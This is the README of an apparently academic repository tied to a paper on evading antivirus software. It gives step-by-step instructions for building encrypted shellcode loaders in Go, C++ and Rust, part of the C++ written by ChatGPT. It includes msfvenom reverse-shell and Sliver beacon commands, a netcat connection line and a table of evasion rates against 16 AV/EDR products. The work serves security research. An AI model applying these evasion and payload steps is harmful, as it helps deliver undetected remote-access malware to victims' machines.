This project was created to share the code that is mentioned in the following paper with the title, Bypassing antivirus detection: old-school malware, new tricks. In this repository, we included all relevant C++, Go, Rust, and C++ code that was created by ChatGPT. The purpose of this project is to demonstrate that with simple and common evading techniques, a malicious executable can evade most, if not all, AV solutions. It should be noted that the study focused on Windows 11. So, probably these executables will be working in Windows 10, but I have not tested them.
This section lists all major frameworks/libraries used to create this project.
- Go 1.19.5
- Rust (nightly-x86_64-pc-windows-msvc toolchain)
- Python 3.10
- Visual C++ 2022
- pycryptodomex
- Install Go 1.19.5
- Install Rust (nightly-x86_64-pc-windows-msvc toolchain)
- Install Visual Studio 2022 (Rust + all Universal/Desktop C++ relevant packages)
- Install C++ dependencies from Visual Studio 2022
- Install Visual Studio Code (Go)
- Install Python 3.10
- Install pycryptodomex
- Choose if the malicious executable will contain a shellcode or a binary file.
- In case of a binary file, execute
- pip install crypto pycroptodome
- python encryptPy.py BIN_FILE_NAME
- Put the relevant AES key into the C++ code
- Insert the binary file as a resource, like "Resource-> Import -> Choose encrypted file -> Name it, e.g., FILE_RES"
- Change the Debug option to Release and compile the code
Note: In case of the code to be unable to find "Crypto", find the installation folder of Python, with the following commands:
import os
import sys
os.path.dirname(sys.executable)
Go to this directory and find the "site-packages\crypto" folder and rename the "crypto" folder into "Crypto". For instance, my path was "C:\Users\user\AppData\Local\Programs\Python\Python310\Lib\site-packages"
- msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f go
- Remove "\0x" and new line values
- Place the shellcode in the encryptGo.go file
- Execute the code
- Take the encrypted shellcode and place it in the decryptGo.go file
- Compile the Go file to retrieve the .exe with the following command
go build -ldflags -H=windowsgui decryptGo.go
- Place the shellcode.bin file to the same directory as with the encryptPython.py
- Execute
python encryptPython.py
to generate necessary files 3. Compile the code to retrieve the exe file
cargo build --release
Note: If you want to use Rust with two loaders, after encrypting the first binary file, edit the encryptPython.py file, to change the output name of the second binary file, as explained in the relevant Python comments. If you want to use only one loader, simply comment out the irrelevant code lines, as these have been noted in different comments in the Rust code.
Hint: In case of development, when the .exe process is running, Rust compiler will show "access denied" error, because it cannot replace the previous .exe file, due to the running process. Either stop this process, in this case is named "test" or rename the package name in the "Cargo.toml" file, from test to something different.
- Create a WindowsApplication dummy project in Visual Studio 2022
- Change debug to release
- Choose the proper port.
- Compile the code to generate the exe file
- Connect from a Linux host with the following command
nc IP PORT
If everything is working correctly, you should receive a "Connection Established!" message and be able to execute cmd commands to receive their response. If this message was not received, check if this port is open for inbound traffic in the Windows Firewall settings. If not, simply add a firewall rule to allow this traffic.
Note: If you want to use random generated files, execute the following command
head -c 90M </dev/urandom > file-1
With "file-1" the name of the output file, and "90M" is the file size. You can generate and include as many files as you like.
To be able to capture the response of these executables, I used two C2 servers, namely Sliver, and Nimplant. In addition to Metasploit, which was used for completeness. Also, C++ and Rust codes request a binary file to load into the process, while Go code loads a simple shellcode. So, to export such a file from Nimplant, execute:
python NimPlant.py compile
While, to generate such a file from Sliver, change the "IP" to the IP address of the hosted Sliver server and execute:
generate beacon --mtls IP --os windows --disable-sgn -f shellcode --skip-symbols --timeout 10
And start the "mtls" listener, by executing:
mtls
The following table refers to the executables with the best evasion rate from the study. This means that all these three executables had included randomly generated files, use the provided code, and for the Rust code, implemented both loaders. For the Paid versions of AVs, I tested in some cases their trial versions. As we can observe from the following table, the evasion rate is quite high, especially in the case of Rust code, which managed to evade all most-common AV solutions. This is noted on 10/04/2023. More details of the AV evasion are mentioned in the relevant paper.
Product name | Go | C++ | C++ (ChatGPT) | Rust | Free/Paid version | AV/EDR |
---|---|---|---|---|---|---|
Avast | ✗ | ✓ | ✗ | ✓ | Free | AV |
AVG | ✗ | ✓ | ✗ | ✓ | Free | AV |
Avira | ✓ | ✓ | ✓ | ✓ | Free | AV |
MS Defender | ✓ | ✓ | ✓ | ✓ | Free | AV |
Webroot | ✓ | ✓ | ✓ | ✓ | Paid | AV |
Eset Smart Security Premium | ✗ | ✓ | ✓ | ✓ | Paid | AV |
Bitdefender Total Security | ✗ | ✗ | ✓ | ✓ | Paid | AV |
Kaspersky Small Office Security | ✓ | ✗ | ✗ | ✓ | Paid | AV |
Sophos Home | ✓ | ✓ | ✓ | ✓ | Paid | AV |
MalwareBytes | ✓ | ✓ | ✓ | ✓ | Paid | AV |
McAfee Total Security | ✓ | ✓ | ✓ | ✓ | Paid | AV |
Norton | ✓ | ✓ | ✓ | ✓ | Paid | AV |
Bitdefender Gravity Zone | ✗ | ✗ | ✓ | ✓ | Paid | EDR |
Sophos Central | ✗ | ✓ | ✓ | ✓ | Paid | EDR |
ESET Protect Cloud | ✗ | ✓ | ✓ | ✓ | Paid | EDR |
MS 365 Defender | ✓ | ✓ | ✓ | ✓ | Paid | EDR |
Results | 9/16 | 13/16 | 13/16 | 16/16 | -- | -- |
Contributions are what make the open source community such an amazing place to learn, inspire, and create. If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement".
Distributed under the MIT License. See LICENSE
for more information. The relevant code is provided only for educational purposes and authorized audits. Use it at your own risk.
Efstratios Chatzoglou - efchatzoglou@gmail.com
I would like to thank the developers that created the following three repositories, which they assisted into creating this one. The Go code is forked from https://github.com/sezzle/simpleGoAES, and https://github.com/Ne0nd0g/go-shellcode/tree/master/cmd/CreateProcess and the Rust code from https://github.com/cr7pt0pl4gu3/Pestilence. Also, I would like to thank the awesome C2 tools, Sliver https://github.com/BishopFox/sliver, and Nimplant https://github.com/chvancooten/NimPlant, along with the Sector7 courses that gave me the idea for this project. Lastly, I would like to thank @gbkaragiannidis who helped me with the FindTarget function of C++ code.